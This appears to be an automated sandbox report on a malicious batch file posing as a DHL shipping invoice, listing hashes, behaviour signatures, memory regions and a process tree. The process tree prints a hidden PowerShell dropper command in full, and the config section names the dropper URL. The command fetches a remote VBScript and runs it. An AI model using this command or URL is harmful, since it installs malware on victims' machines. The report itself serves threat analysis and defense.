Analysis

  • max time kernel
    16s
  • max time network
    17s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    16-10-2024 07:39

General

  • Target

    DHL_Shipping_Invoices_Awb_000000000101520242247820020031808174Global180030010152024.bat

  • Size

    542B

  • MD5

    415f82e7ccaa07c5907805687a010209

  • SHA1

    b9816a469c59fafb92b921a75bebecb9935277ad

  • SHA256

    ef6cf434471b7ab9a035d09dcf5c5685e7c38afc6301b337c9531bfdae73bb83

  • SHA512

    2f51a1a91dd6c86f00d7c3076ba8f1883ac714dc5d0f875f6ed38aa2ccc74511af6a6d848e01da56041c3e4cbad1bf8ac025a6b413369e1bd9e0446f7e144753

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://in-houselegal.ro/YwDS3/calculators.vbs

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\DHL_Shipping_Invoices_Awb_000000000101520242247820020031808174Global180030010152024.bat"
    1⤵
    • System Network Configuration Discovery: Internet Connection Discovery
    • Suspicious use of WriteProcessMemory
    PID:2412
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle hidden -command "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$OLUMG; $GLUFD = (New-Object Net.WebClient);$GLUFD.Encoding = [System.Text.Encoding]::UTF8;$OLUMG = $GLUFD.DownloadString( 'https://in-houselegal.ro/YwDS3/calculators.vbs' );$OLUMG = $GLUFD.DownloadString( $OLUMG ) ;$Hglgp = [System.IO.Path]::GetTempPath() + '\x.vbs';$OLUMG | Out-File -FilePath $Hglgp; wscript.exe //nologo $Hglgp"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2352
      • C:\Windows\system32\wscript.exe
        "C:\Windows\system32\wscript.exe" //nologo C:\Users\Admin\AppData\Local\Temp\\x.vbs
        3⤵
          PID:2384

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\x.vbs

      Filesize

      2B

      MD5

      f3b25701fe362ec84616a93a45ce9998

      SHA1

      d62636d8caec13f04e28442a0a6fa1afeb024bbb

      SHA256

      b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

      SHA512

      98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

    • memory/2352-4-0x000007FEF5B1E000-0x000007FEF5B1F000-memory.dmp

      Filesize

      4KB

    • memory/2352-5-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

      Filesize

      2.9MB

    • memory/2352-6-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

      Filesize

      32KB

    • memory/2352-7-0x000007FEF5860000-0x000007FEF61FD000-memory.dmp

      Filesize

      9.6MB

    • memory/2352-8-0x000007FEF5860000-0x000007FEF61FD000-memory.dmp

      Filesize

      9.6MB

    • memory/2352-9-0x000007FEF5860000-0x000007FEF61FD000-memory.dmp

      Filesize

      9.6MB

    • memory/2352-10-0x000007FEF5860000-0x000007FEF61FD000-memory.dmp

      Filesize

      9.6MB

    • memory/2352-11-0x000007FEF5860000-0x000007FEF61FD000-memory.dmp

      Filesize

      9.6MB

    • memory/2352-12-0x000007FEF5860000-0x000007FEF61FD000-memory.dmp

      Filesize

      9.6MB

    • memory/2352-15-0x000007FEF5860000-0x000007FEF61FD000-memory.dmp

      Filesize

      9.6MB